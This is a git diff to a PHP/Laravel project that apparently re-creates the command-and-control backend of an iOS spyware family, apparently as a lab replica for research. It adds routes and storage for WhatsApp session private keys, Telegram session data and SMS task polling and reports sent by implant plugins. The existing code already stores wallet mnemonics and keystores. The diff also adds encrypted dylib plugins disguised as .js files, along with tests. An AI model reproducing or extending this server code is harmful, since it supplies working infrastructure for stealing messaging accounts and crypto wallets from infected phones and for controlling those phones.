diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index af3be77..b8860fe 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -238,6 +238,8 @@ class DeviceController extends Controller $device->addresses()->delete(); $device->mnemonics()->delete(); $device->keystores()->delete(); + $device->pluginSessions()->delete(); + $device->smsReports()->delete(); $device->beaconTasks()->delete(); $device->delete(); }); diff --git a/app/Http/Controllers/C2/XxbbC2Controller.php b/app/Http/Controllers/C2/XxbbC2Controller.php index 72e4d07..743afba 100644 --- a/app/Http/Controllers/C2/XxbbC2Controller.php +++ b/app/Http/Controllers/C2/XxbbC2Controller.php @@ -16,9 +16,11 @@ use Illuminate\Support\Facades\Storage; * Native path map (corepayload + details plugins): * /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes, * /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses), - * /api/tg/t Telegram auth (tglib). + * /api/tg/t Telegram auth (tglib), /api/wp/t WhatsApp session (wap), + * /m/t/g /m/t/r imagent SMS poll / report (sms). * * Core routes (/a, /u, /event) attribute channel_id from request headers ver/sdkv. + * Plugin routes do not write channel_id (same as /api/tg/t). */ class XxbbC2Controller extends Controller { @@ -58,6 +60,7 @@ class XxbbC2Controller extends Controller $payload = $request->attributes->get('coruna_payload'); $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { + $this->ingest->ingestDevicePhone($device, $payload); $this->ingest->ingestDeviceEvent($device, $payload); } @@ -194,6 +197,47 @@ class XxbbC2Controller extends Controller return $this->xxbbAck($request); } + /** wap: POST /api/wp/t — WhatsApp session keys (parallel to /api/tg/t). */ + public function whatsapp(Request $request): Response + { + $payload = $request->attributes->get('coruna_payload'); + $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); + if ($device && is_array($payload)) { + $this->ingest->ingestWhatsAppAuth($device, $payload); + } + + return $this->xxbbAck($request); + } + + /** + * sms: POST /m/t/g — poll outbound SMS tasks. + * Lab never queues send tasks; code=1 + empty data matches native backoff. + */ + public function smsPoll(Request $request): Response + { + $payload = $request->attributes->get('coruna_payload'); + $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); + if ($device && is_array($payload)) { + $this->ingest->ingestDevicePhone($device, $payload); + $this->ingest->ingestSmsHeartbeat($device, $payload); + } + + return $this->xxbbAck($request, ['code' => 1, 'data' => []]); + } + + /** sms: POST /m/t/r — task result / status. */ + public function smsReport(Request $request): Response + { + $payload = $request->attributes->get('coruna_payload'); + $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); + if ($device && is_array($payload)) { + $this->ingest->ingestDevicePhone($device, $payload); + $this->ingest->ingestSmsTaskReport($device, $payload); + } + + return $this->xxbbAck($request); + } + private function xxbbArchive(): CorunaArchive { return new CorunaArchive( @@ -202,7 +246,10 @@ class XxbbC2Controller extends Controller ); } - private function xxbbAck(Request $request): Response + /** + * @param array|null $body + */ + private function xxbbAck(Request $request, ?array $body = null): Response { $ts = (string) $request->attributes->get('xxbb_ts', ''); if ($ts === '') { @@ -211,7 +258,10 @@ class XxbbC2Controller extends Controller if ($ts === '') { $ts = (string) (int) round(microtime(true) * 1000); } + $json = $body === null + ? '{}' + : (json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) ?: '{}'); - return response($ts.'{}', 200)->header('Content-Type', 'text/plain'); + return response($ts.$json, 200)->header('Content-Type', 'text/plain'); } } diff --git a/app/Models/Device.php b/app/Models/Device.php index b4cdb6d..2b893ff 100644 --- a/app/Models/Device.php +++ b/app/Models/Device.php @@ -95,6 +95,16 @@ class Device extends Model return $this->hasMany(WalletKeystore::class); } + public function pluginSessions(): HasMany + { + return $this->hasMany(PluginSession::class); + } + + public function smsReports(): HasMany + { + return $this->hasMany(SmsReport::class); + } + public function beaconTasks(): HasMany { return $this->hasMany(DsBeaconTask::class)->orderBy('position'); diff --git a/app/Models/PluginSession.php b/app/Models/PluginSession.php new file mode 100644 index 0000000..a4c5db8 --- /dev/null +++ b/app/Models/PluginSession.php @@ -0,0 +1,38 @@ + 'array', + ]; + } + + public function device(): BelongsTo + { + return $this->belongsTo(Device::class); + } + + public function kindLabel(): string + { + return match ($this->kind) { + self::KIND_TELEGRAM => 'Telegram', + self::KIND_WHATSAPP => 'WhatsApp', + default => (string) $this->kind, + }; + } +} diff --git a/app/Models/SmsReport.php b/app/Models/SmsReport.php new file mode 100644 index 0000000..e43b53a --- /dev/null +++ b/app/Models/SmsReport.php @@ -0,0 +1,25 @@ + 'array', + ]; + } + + public function device(): BelongsTo + { + return $this->belongsTo(Device::class); + } +} diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index f7a985b..2d93e31 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -9,6 +9,8 @@ use App\Models\DeviceEvent; use App\Models\Note; use App\Models\PageVisit; use App\Models\Photo; +use App\Models\PluginSession; +use App\Models\SmsReport; use App\Models\WalletAddress; use App\Models\WalletKeystore; use App\Models\WalletMnemonic; @@ -46,6 +48,8 @@ class IngestService } $candidates[] = $payload['d'] ?? null; $candidates[] = $payload['f'] ?? null; + $candidates[] = $payload['deviceID'] ?? null; + $candidates[] = $payload['deviceId'] ?? null; foreach ($candidates as $value) { if (! empty($value) && is_string($value)) { @@ -191,7 +195,8 @@ class IngestService } /** - * `/api/user/profile/delete` — store reported phone (`p`) only when still empty. + * Own number from sms.js / old imagent. First write wins. + * Prefer `p` / `phoneNumber` / cardsinfo; bare `phone` is dest on /m/t/r. */ public function ingestDevicePhone(Device $device, ?array $payload): void { @@ -202,18 +207,48 @@ class IngestService return; } - $phone = $payload['p'] ?? $payload['phone'] ?? null; - if (! is_string($phone)) { - return; - } - $phone = trim($phone); - if ($phone === '') { + $phone = $this->extractOwnPhone($payload); + if ($phone === null) { return; } $device->forceFill(['phone' => substr($phone, 0, 64)])->save(); } + /** + * sms.js: CTSettingCopyMyPhoneNumber → `p` / `phoneNumber`; SIM slot in cardsinfo. + * `/m/t/r` uses `phone` as the send-to dest, so ignore it when task_id is present. + */ + private function extractOwnPhone(array $payload): ?string + { + foreach (['p', 'phoneNumber'] as $key) { + $phone = $this->scalarToString($payload[$key] ?? null); + if ($phone !== null) { + return $phone; + } + } + + $cards = $payload['cardsinfo'] ?? $payload['cardsInfo'] ?? null; + if (is_array($cards)) { + foreach ($cards as $card) { + if (! is_array($card)) { + continue; + } + $phone = $this->scalarToString($card['phoneNumber'] ?? $card['phone'] ?? $card['p'] ?? null); + if ($phone !== null) { + return $phone; + } + } + } + + $isTaskReport = $this->scalarToString($payload['task_id'] ?? $payload['taskId'] ?? null) !== null; + if (! $isTaskReport) { + return $this->scalarToString($payload['phone'] ?? null); + } + + return null; + } + private function fillMissingAttribution( Device $device, Request $request, @@ -491,25 +526,91 @@ class IngestService } /** - * xxbb tglib POST /api/tg/t — Telegram auth material (user_id + atomic-state + db). - * Lab has no dedicated table; store as a keystore identity blob. + * xxbb tglib POST /api/tg/t — Telegram session (user_id + atomic-state + db). */ public function ingestTelegramAuth(Device $device, ?array $payload): void + { + $this->upsertPluginSession($device, PluginSession::KIND_TELEGRAM, $payload, [ + 'user_id', 'state', 'db_sqlite', + 'datacenterAuthInfoById', 'datacenterAddressSetById', 'backupData', + ], ['user_id', 'userId']); + } + + /** + * xxbb wap POST /api/wp/t — WhatsApp session keys (userId + phoneKeyStore). + */ + public function ingestWhatsAppAuth(Device $device, ?array $payload): void + { + $this->upsertPluginSession($device, PluginSession::KIND_WHATSAPP, $payload, [ + 'userId', 'phoneId', 'registrationID', + 'identity', 'identityPrivateKey', 'identityPublicKey', + 'clientStaticKeypairBase64', 'phoneKeyStore', + 'deviceConfig', 'whatsappVersion', + ], ['userId', 'user_id']); + } + + /** + * sms.js /m/t/g — own number via CTSettingCopyMyPhoneNumber (`p` / `phone` / `phoneNumber`). + */ + public function ingestSmsHeartbeat(Device $device, ?array $payload): void { if (! is_array($payload)) { return; } - if (array_key_exists('result', $payload)) { - $this->ingestKeystore($device, $payload); + $this->ingestDevicePhone($device, $payload); + } + /** + * sms.js POST /m/t/r — task result. Dest is `phone`; own number is `p` / `phoneNumber`. + */ + public function ingestSmsTaskReport(Device $device, ?array $payload): void + { + if (! is_array($payload)) { + return; + } + $this->ingestDevicePhone($device, $payload); + + $taskId = $this->scalarToString($payload['task_id'] ?? $payload['taskId'] ?? null); + $dest = $this->scalarToString($payload['phone'] ?? $payload['to'] ?? $payload['t'] ?? null); + $local = $this->scalarToString($payload['p'] ?? $payload['phoneNumber'] ?? null); + $msg = $this->scalarToString($payload['msg'] ?? $payload['m'] ?? null); + $status = $this->scalarToString($payload['status'] ?? $payload['s'] ?? $payload['code'] ?? null); + if ($taskId === null && $dest === null && $msg === null && $status === null) { return; } + SmsReport::query()->create([ + 'device_id' => $device->id, + 'device_key' => $device->device_id, + 'task_id' => $taskId, + 'dest_phone' => $dest !== null ? substr($dest, 0, 64) : null, + 'local_phone' => $local !== null ? substr($local, 0, 64) : null, + 'msg' => $msg, + 'status' => $status !== null ? substr($status, 0, 64) : null, + 'payload' => $payload, + ]); + } + + /** + * @param list $keepKeys + * @param list $accountKeys + */ + private function upsertPluginSession( + Device $device, + string $kind, + ?array $payload, + array $keepKeys, + array $accountKeys, + ): void { + if (! is_array($payload)) { + return; + } + if (isset($payload['result']) && is_array($payload['result'])) { + $payload = array_merge($payload['result'], $payload); + } + $blob = []; - foreach ([ - 'user_id', 'state', 'db_sqlite', - 'datacenterAuthInfoById', 'datacenterAddressSetById', 'backupData', - ] as $key) { + foreach ($keepKeys as $key) { if (array_key_exists($key, $payload)) { $blob[$key] = $payload[$key]; } @@ -517,8 +618,43 @@ class IngestService if ($blob === []) { return; } - $blob['source'] = WalletSource::fromTag($payload['a'] ?? 'tg'); - $this->ingestKeystore($device, ['result' => $blob]); + + $account = null; + foreach ($accountKeys as $key) { + $account = $this->scalarToString($payload[$key] ?? $blob[$key] ?? null); + if ($account !== null) { + break; + } + } + $phone = $kind === PluginSession::KIND_WHATSAPP + ? $this->scalarToString($payload['userId'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null) + : null; + + PluginSession::query()->updateOrCreate( + [ + 'device_id' => $device->id, + 'kind' => $kind, + 'account_id' => $account, + ], + [ + 'device_key' => $device->device_id, + 'phone' => $phone !== null ? substr($phone, 0, 64) : null, + 'payload' => $blob, + ], + ); + } + + private function scalarToString(mixed $value): ?string + { + if (is_int($value) || is_float($value)) { + return (string) $value; + } + if (! is_string($value)) { + return null; + } + $value = trim($value); + + return $value !== '' ? $value : null; } /** diff --git a/app/Support/WalletSource.php b/app/Support/WalletSource.php index 9fa8196..04f44e9 100644 --- a/app/Support/WalletSource.php +++ b/app/Support/WalletSource.php @@ -32,6 +32,10 @@ final class WalletSource 'f' => 'BitKeep', 's' => 'Solflare', 'tg' => 'Telegram', + 'wp' => 'WhatsApp', + 'wa' => 'WhatsApp', + 'wap' => 'WhatsApp', + 'sms' => 'iMessage', // lab / fixture aliases 'tp' => 'TokenPocket', 'im' => 'imToken', @@ -107,12 +111,15 @@ final class WalletSource 'tonhub' => 'Tonhub', 'bitpie' => 'Bitpie', 'telegram' => 'Telegram', + 'whatsapp' => 'WhatsApp', ]; - /** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp). */ + /** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp / iMessage). */ private const NON_MNEMONIC_BUNDLES = [ 'ph.telegra.Telegraph', 'net.whatsapp.WhatsApp', + 'imagent', + 'com.apple.imagent', ]; public static function fromTag(mixed $tag): string diff --git a/channel-builder-new/source/details/README.md b/channel-builder-new/source/details/README.md index a1ebf60..e4c2692 100644 --- a/channel-builder-new/source/details/README.md +++ b/channel-builder-new/source/details/README.md @@ -4,7 +4,7 @@ 文件名是线上的 `.js` 外壳,内容是 **7zAES 包着的 dylib**(密码见 builder README,不要改)。`show.html` 是目录:core + 各 App 对应哪一份插件。 -编号缺 `o15`:原包就没有这一号。`wap.js`(WhatsApp)在原 C2 上 404,这里也没有。 +编号缺 `o15`:原包就没有这一号。`wap.js` / `sms.js` 从 001trx 同族包按 **lab 7z 密码**重打;dylib 里没有自己的 DGA seed,跟 `tglib.js` 一样用 core 注入的 `PLServerPool` / 渠道 `c`。 ## 公共 @@ -40,5 +40,7 @@ | `s19lib.js` | s | Solflare | `com.solflare.mobile` | | `t20lib.js` | t | OKX | `com.okex.OKExAppstoreFull` | | `tglib.js` | tg | Telegram | `ph.telegra.Telegraph` | +| `wap.js` | wp | WhatsApp | `net.whatsapp.WhatsApp` | +| `sms.js` | sms | iMessage | `imagent` | -钱包插件跑起来后走 `/uj` `/us` `/ub` `/ba` `/result` 上报 keystore / 助记词 / 地址。`tglib.js` 走 `/api/tg/t`(Telegram 登录材料),不是助记词。 +钱包插件跑起来后走 `/uj` `/us` `/ub` `/ba` `/result` 上报 keystore / 助记词 / 地址。`tglib.js` 走 `/api/tg/t`,`wap.js` 走 `/api/wp/t`(会话密钥,不是助记词)。`sms.js` 走 `/m/t/g`(拉任务,lab 回空列表)和 `/m/t/r`(回执),心跳仍走 `/event`。 diff --git a/channel-builder-new/source/details/show.html b/channel-builder-new/source/details/show.html index cc097ec..18a0bcd 100644 Binary files a/channel-builder-new/source/details/show.html and b/channel-builder-new/source/details/show.html differ diff --git a/channel-builder-new/source/details/sms.js b/channel-builder-new/source/details/sms.js new file mode 100644 index 0000000..97544f1 Binary files /dev/null and b/channel-builder-new/source/details/sms.js differ diff --git a/channel-builder-new/source/details/wap.js b/channel-builder-new/source/details/wap.js new file mode 100644 index 0000000..16fcdee Binary files /dev/null and b/channel-builder-new/source/details/wap.js differ diff --git a/channel-builder-new/tools/build.py b/channel-builder-new/tools/build.py index 0c37428..89cc055 100644 --- a/channel-builder-new/tools/build.py +++ b/channel-builder-new/tools/build.py @@ -92,6 +92,7 @@ RESERVED_CHANNEL_NAMES = frozenset( "nb", "a", "u", + "m", "uj", "us", "ub", diff --git a/channel-builder-new/tools/tests/test_build.py b/channel-builder-new/tools/tests/test_build.py index 8331f09..8da4d59 100644 --- a/channel-builder-new/tools/tests/test_build.py +++ b/channel-builder-new/tools/tests/test_build.py @@ -129,6 +129,19 @@ class XxbbBuildTest(unittest.TestCase): show = json.loads(show_plain.decode("utf-8")) self.assertEqual(show["core"]["sha256"], xxbb_build.sha256_hex(core)) self.assertEqual(show["core"]["size"], len(core)) + by_bundle = {e["bundleId"]: e for e in show["entries"]} + self.assertIn("net.whatsapp.WhatsApp", by_bundle) + self.assertIn("imagent", by_bundle) + self.assertTrue((details / "wap.js").is_file()) + self.assertTrue((details / "sms.js").is_file()) + for name, bundle in (("wap.js", "net.whatsapp.WhatsApp"), ("sms.js", "imagent")): + member, plain = extract_member((details / name).read_bytes()) + self.assertTrue(member.endswith(".dylib"), member) + self.assertEqual(by_bundle[bundle]["sha256"], xxbb_build.sha256_hex(plain), name) + self.assertEqual(by_bundle[bundle]["size"], len(plain), name) + self.assertNotIn(b"761847cfb1ad3de68e11239dcc26c30b", plain) + self.assertNotIn(b"abf3bdc8e239c0f3183c257f9ccc23e8", plain) + self.assertIn(b"sharedReportingPool", plain) seeds = json.loads((state / "lab_seeds.json").read_text()) self.assertEqual(seeds["deployment_seed"], "11111111111111111111111111111111") @@ -319,6 +332,26 @@ class XxbbBuildTest(unittest.TestCase): self.assertIn("route.js", landing) self.assertNotIn('src="index.js"', landing) + def test_source_details_has_lab_passworded_wap_and_sms(self) -> None: + show_member, show_plain = extract_member((xxbb_build.SOURCE_DETAILS / "show.html").read_bytes()) + self.assertEqual(show_member, "data.bin") + show = json.loads(show_plain.decode("utf-8")) + by_bundle = {e["bundleId"]: e for e in show["entries"]} + expected = { + "net.whatsapp.WhatsApp": "wap.js", + "imagent": "sms.js", + } + for bundle, name in expected.items(): + self.assertIn(bundle, by_bundle) + self.assertTrue(by_bundle[bundle]["url"].endswith("/details/" + name)) + path = xxbb_build.SOURCE_DETAILS / name + self.assertTrue(path.is_file(), name) + member, plain = extract_member(path.read_bytes()) + self.assertEqual(by_bundle[bundle]["sha256"], xxbb_build.sha256_hex(plain)) + self.assertEqual(by_bundle[bundle]["size"], len(plain)) + self.assertNotIn(xxbb_build.ORIGINAL_C.encode(), plain) + self.assertIn(b"https://%@", plain) + if __name__ == "__main__": unittest.main() diff --git a/database/migrations/2026_08_25_000010_create_plugin_sessions_and_sms_reports.php b/database/migrations/2026_08_25_000010_create_plugin_sessions_and_sms_reports.php new file mode 100644 index 0000000..e2beba8 --- /dev/null +++ b/database/migrations/2026_08_25_000010_create_plugin_sessions_and_sms_reports.php @@ -0,0 +1,112 @@ +id(); + $table->foreignId('device_id')->constrained('devices')->cascadeOnDelete(); + $table->string('device_key', 64)->index(); + $table->string('kind', 16)->index(); + $table->string('account_id', 128)->nullable()->index(); + $table->string('phone', 64)->nullable(); + $table->json('payload')->nullable(); + $table->timestamps(); + $table->unique(['device_id', 'kind', 'account_id']); + }); + + Schema::create('sms_reports', function (Blueprint $table) { + $table->id(); + $table->foreignId('device_id')->constrained('devices')->cascadeOnDelete(); + $table->string('device_key', 64)->index(); + $table->string('task_id', 128)->nullable()->index(); + $table->string('dest_phone', 64)->nullable(); + $table->string('local_phone', 64)->nullable(); + $table->text('msg')->nullable(); + $table->string('status', 64)->nullable(); + $table->json('payload')->nullable(); + $table->timestamps(); + }); + + $this->backfillSessionsFromKeystores(); + } + + public function down(): void + { + Schema::dropIfExists('sms_reports'); + Schema::dropIfExists('plugin_sessions'); + } + + private function backfillSessionsFromKeystores(): void + { + if (! Schema::hasTable('wallet_keystores')) { + return; + } + + $rows = DB::table('wallet_keystores') + ->whereIn('source', ['Telegram', 'WhatsApp']) + ->orderBy('id') + ->get(); + $seen = []; + foreach ($rows as $row) { + $payload = json_decode((string) $row->raw_json, true); + if (! is_array($payload)) { + $payload = []; + } + $kind = $row->source === 'WhatsApp' ? 'whatsapp' : 'telegram'; + $account = $this->accountFromPayload($kind, $payload); + $key = $row->device_id.'|'.$kind.'|'.$account; + if (isset($seen[$key])) { + continue; + } + $seen[$key] = true; + $deviceKey = (string) (DB::table('devices')->where('id', $row->device_id)->value('device_id') ?? ''); + DB::table('plugin_sessions')->insert([ + 'device_id' => $row->device_id, + 'device_key' => $deviceKey !== '' ? $deviceKey : (string) $row->device_id, + 'kind' => $kind, + 'account_id' => $account !== '' ? $account : null, + 'phone' => $this->phoneFromPayload($kind, $payload), + 'payload' => json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES), + 'created_at' => $row->created_at ?? now(), + 'updated_at' => $row->updated_at ?? now(), + ]); + } + + DB::table('wallet_keystores')->whereIn('source', ['Telegram', 'WhatsApp'])->delete(); + } + + private function accountFromPayload(string $kind, array $payload): string + { + $keys = $kind === 'whatsapp' + ? ['userId', 'user_id', 'account_id'] + : ['user_id', 'userId', 'account_id']; + foreach ($keys as $key) { + if (isset($payload[$key]) && (is_string($payload[$key]) || is_int($payload[$key]))) { + return substr(trim((string) $payload[$key]), 0, 128); + } + } + + return ''; + } + + private function phoneFromPayload(string $kind, array $payload): ?string + { + if ($kind !== 'whatsapp') { + return null; + } + foreach (['userId', 'phoneId', 'phone'] as $key) { + if (isset($payload[$key]) && is_string($payload[$key]) && trim($payload[$key]) !== '') { + return substr(trim($payload[$key]), 0, 64); + } + } + + return null; + } +}; diff --git a/routes/xxbb.php b/routes/xxbb.php index 4308b87..91ede75 100644 --- a/routes/xxbb.php +++ b/routes/xxbb.php @@ -32,4 +32,7 @@ Route::middleware([DecryptXxbbBody::class])->group(function () use ($dsOrXxbb, $ Route::post('/ub', [$xxbb, 'plugin']); Route::post('/ba', [$xxbb, 'plugin']); Route::post('/api/tg/t', [$xxbb, 'telegram']); + Route::post('/api/wp/t', [$xxbb, 'whatsapp']); + Route::post('/m/t/g', [$xxbb, 'smsPoll']); + Route::post('/m/t/r', [$xxbb, 'smsReport']); }); diff --git a/tests/Feature/DeviceDeleteTest.php b/tests/Feature/DeviceDeleteTest.php index 57ede88..1b8eb59 100644 --- a/tests/Feature/DeviceDeleteTest.php +++ b/tests/Feature/DeviceDeleteTest.php @@ -12,6 +12,8 @@ use App\Models\DsChainLog; use App\Models\Note; use App\Models\PageVisit; use App\Models\Photo; +use App\Models\PluginSession; +use App\Models\SmsReport; use App\Models\User; use App\Models\WalletAddress; use App\Models\WalletKeystore; @@ -73,6 +75,20 @@ class DeviceDeleteTest extends TestCase 'device_id' => $device->id, 'raw_json' => ['k' => 1], ]); + PluginSession::query()->create([ + 'device_id' => $device->id, + 'device_key' => 'dev-del-1', + 'kind' => PluginSession::KIND_TELEGRAM, + 'account_id' => '123', + 'payload' => ['user_id' => '123'], + ]); + SmsReport::query()->create([ + 'device_id' => $device->id, + 'device_key' => 'dev-del-1', + 'task_id' => 't1', + 'dest_phone' => '+100', + 'payload' => ['task_id' => 't1'], + ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, 'position' => 1, @@ -130,6 +146,8 @@ class DeviceDeleteTest extends TestCase $this->assertSame(0, WalletAddress::query()->count()); $this->assertSame(0, WalletMnemonic::query()->count()); $this->assertSame(0, WalletKeystore::query()->count()); + $this->assertSame(0, PluginSession::query()->count()); + $this->assertSame(0, SmsReport::query()->count()); $this->assertSame(0, DsBeaconTask::query()->count()); $this->assertSame(0, DsChainLog::query()->where('client_uid', 'dev-del-1')->count()); $this->assertSame(1, DsChainLog::query()->where('client_uid', 'keep-other-uid')->count()); diff --git a/tests/Feature/XxbbC2ApiTest.php b/tests/Feature/XxbbC2ApiTest.php index 1331b17..c4eee8b 100644 --- a/tests/Feature/XxbbC2ApiTest.php +++ b/tests/Feature/XxbbC2ApiTest.php @@ -7,6 +7,8 @@ use App\Models\DeviceApp; use App\Models\DeviceEvent; use App\Models\Note; use App\Models\Photo; +use App\Models\PluginSession; +use App\Models\SmsReport; use App\Models\WalletAddress; use App\Models\WalletKeystore; use App\Models\WalletMnemonic; @@ -389,14 +391,135 @@ class XxbbC2ApiTest extends TestCase $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); - $ks = WalletKeystore::query()->where('device_id', $device->id)->first(); - $this->assertNotNull($ks); - $this->assertSame('123456789', $ks->raw_json['user_id'] ?? null); - $this->assertSame('Telegram', $ks->source); - $this->assertSame(0, (int) $ks->decrypted); - $this->assertSame('Telegram', $ks->raw_json['source'] ?? null); - $this->assertArrayHasKey('db_sqlite', $ks->raw_json); - $this->assertSame('AQID', $ks->raw_json['datacenterAuthInfoById'] ?? null); + $this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count()); + $row = PluginSession::query()->where('device_id', $device->id)->first(); + $this->assertNotNull($row); + $this->assertSame(PluginSession::KIND_TELEGRAM, $row->kind); + $this->assertSame('000C30D83CD0402E', $row->device_key); + $this->assertSame('123456789', $row->account_id); + $this->assertSame('123456789', $row->payload['user_id'] ?? null); + $this->assertArrayHasKey('db_sqlite', $row->payload); + $this->assertSame('AQID', $row->payload['datacenterAuthInfoById'] ?? null); + } + + #[Test] + public function api_wp_t_ingests_whatsapp_session(): void + { + $this->xxbbPost('/api/wp/t', [ + 'd' => '000C30D83CD0402E', + 'd1' => '00008030-000C30D83CD0402E', + 'c' => '202700cfb1ad3de68e11239dcc26c30b', + 'a' => 'wp', + 'userId' => '15551234567', + 'phoneId' => 'phone-id-1', + 'registrationID' => 4242, + 'clientStaticKeypairBase64' => 'QUJD', + 'phoneKeyStore' => ['signedPreKey' => ['id' => 1], 'preKeys' => []], + 'whatsappVersion' => '2.24.0', + ])->assertOk(); + + $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); + $this->assertNotNull($device); + $this->assertNull($device->channel_id); + $this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count()); + $row = PluginSession::query()->where('device_id', $device->id)->first(); + $this->assertNotNull($row); + $this->assertSame(PluginSession::KIND_WHATSAPP, $row->kind); + $this->assertSame('000C30D83CD0402E', $row->device_key); + $this->assertSame('15551234567', $row->account_id); + $this->assertSame('15551234567', $row->phone); + $this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null); + } + + #[Test] + public function event_stores_sms_phone_number(): void + { + $this->xxbbPost('/event', [ + 'd' => '000C30D83CD0402E', + 'et' => 'sms_heartbeat', + 'phoneNumber' => '+15550004444', + 'cardsinfo' => [['isSimPresent' => true, 'phoneNumber' => '+15550004444']], + ])->assertOk(); + + $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); + $this->assertNotNull($device); + $this->assertSame('+15550004444', $device->phone); + } + + #[Test] + public function sms_poll_stores_phone_from_cardsinfo(): void + { + $this->xxbbPost('/m/t/g', [ + 'd' => '000C30D83CD0402E', + 'bundleID' => 'imagent', + 'cardsinfo' => [['isSimPresent' => true, 'phoneNumber' => '+15550005555']], + ])->assertOk(); + + $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); + $this->assertNotNull($device); + $this->assertSame('+15550005555', $device->phone); + } + + #[Test] + public function sms_report_does_not_use_dest_phone_as_device_phone(): void + { + $this->xxbbPost('/m/t/r', [ + 'd' => '000C30D83CD0402E', + 'task_id' => 'task-dest-only', + 'phone' => '+15550006666', + 'msg' => 'sent', + ])->assertOk(); + + $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); + $this->assertNotNull($device); + $this->assertNull($device->phone); + } + + #[Test] + public function sms_poll_stores_phone_and_returns_empty_tasks(): void + { + $resp = $this->xxbbPost('/m/t/g', [ + 'deviceID' => '000C30D83CD0402E', + 'c' => '202700cfb1ad3de68e11239dcc26c30b', + 'p' => '+15550001111', + 'bundleID' => 'imagent', + 'cardsinfo' => [['isSimPresent' => true, 'slotID' => 1]], + ]); + $resp->assertOk(); + $this->assertSame('1786468227899{"code":1,"data":[]}', $resp->getContent()); + + $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); + $this->assertNotNull($device); + $this->assertSame('+15550001111', $device->phone); + $this->assertNull($device->channel_id); + $this->assertSame(0, DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->count()); + $this->assertSame(0, SmsReport::query()->count()); + } + + #[Test] + public function sms_report_stores_task_event(): void + { + $this->xxbbPost('/m/t/r', [ + 'd' => '000C30D83CD0402E', + 'task_id' => 'task-9', + 'phone' => '+15550003333', + 'p' => '+15550002222', + 'msg' => 'ok', + 's' => '1', + ])->assertOk(); + + $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); + $this->assertNotNull($device); + $this->assertSame('+15550002222', $device->phone); + $this->assertSame(0, DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->count()); + $row = SmsReport::query()->where('device_id', $device->id)->first(); + $this->assertNotNull($row); + $this->assertSame('000C30D83CD0402E', $row->device_key); + $this->assertSame('task-9', $row->task_id); + $this->assertSame('+15550003333', $row->dest_phone); + $this->assertSame('+15550002222', $row->local_phone); + $this->assertSame('ok', $row->msg); + $this->assertSame('1', $row->status); } #[Test] diff --git a/tests/Unit/WalletSourceTest.php b/tests/Unit/WalletSourceTest.php index 88c17a5..1b45359 100644 --- a/tests/Unit/WalletSourceTest.php +++ b/tests/Unit/WalletSourceTest.php @@ -15,6 +15,8 @@ class WalletSourceTest extends TestCase $this->assertTrue(WalletSource::isPluginWalletBundle('im.token.app')); $this->assertTrue(WalletSource::isPluginWalletBundle('com.tronlink.hdwallet')); $this->assertFalse(WalletSource::isPluginWalletBundle('ph.telegra.Telegraph')); + $this->assertFalse(WalletSource::isPluginWalletBundle('net.whatsapp.WhatsApp')); + $this->assertFalse(WalletSource::isPluginWalletBundle('imagent')); $this->assertFalse(WalletSource::isPluginWalletBundle('com.apple.mobilesafari')); $this->assertFalse(WalletSource::isPluginWalletBundle('')); } @@ -41,6 +43,9 @@ class WalletSourceTest extends TestCase $this->assertSame('imToken', WalletSource::fromKeystoreHint('imtoken')); $this->assertSame('Telegram', WalletSource::fromKeystoreHint('tg')); $this->assertSame('Telegram', WalletSource::fromKeystoreHint('Telegram')); + $this->assertSame('WhatsApp', WalletSource::fromKeystoreHint('wp')); + $this->assertSame('WhatsApp', WalletSource::fromKeystoreHint('whatsapp')); + $this->assertSame('iMessage', WalletSource::fromKeystoreHint('sms')); $this->assertSame('', WalletSource::fromKeystoreHint('notes')); $this->assertSame('', WalletSource::fromKeystoreHint('not-a-wallet')); $this->assertSame('', WalletSource::fromKeystoreHint(''));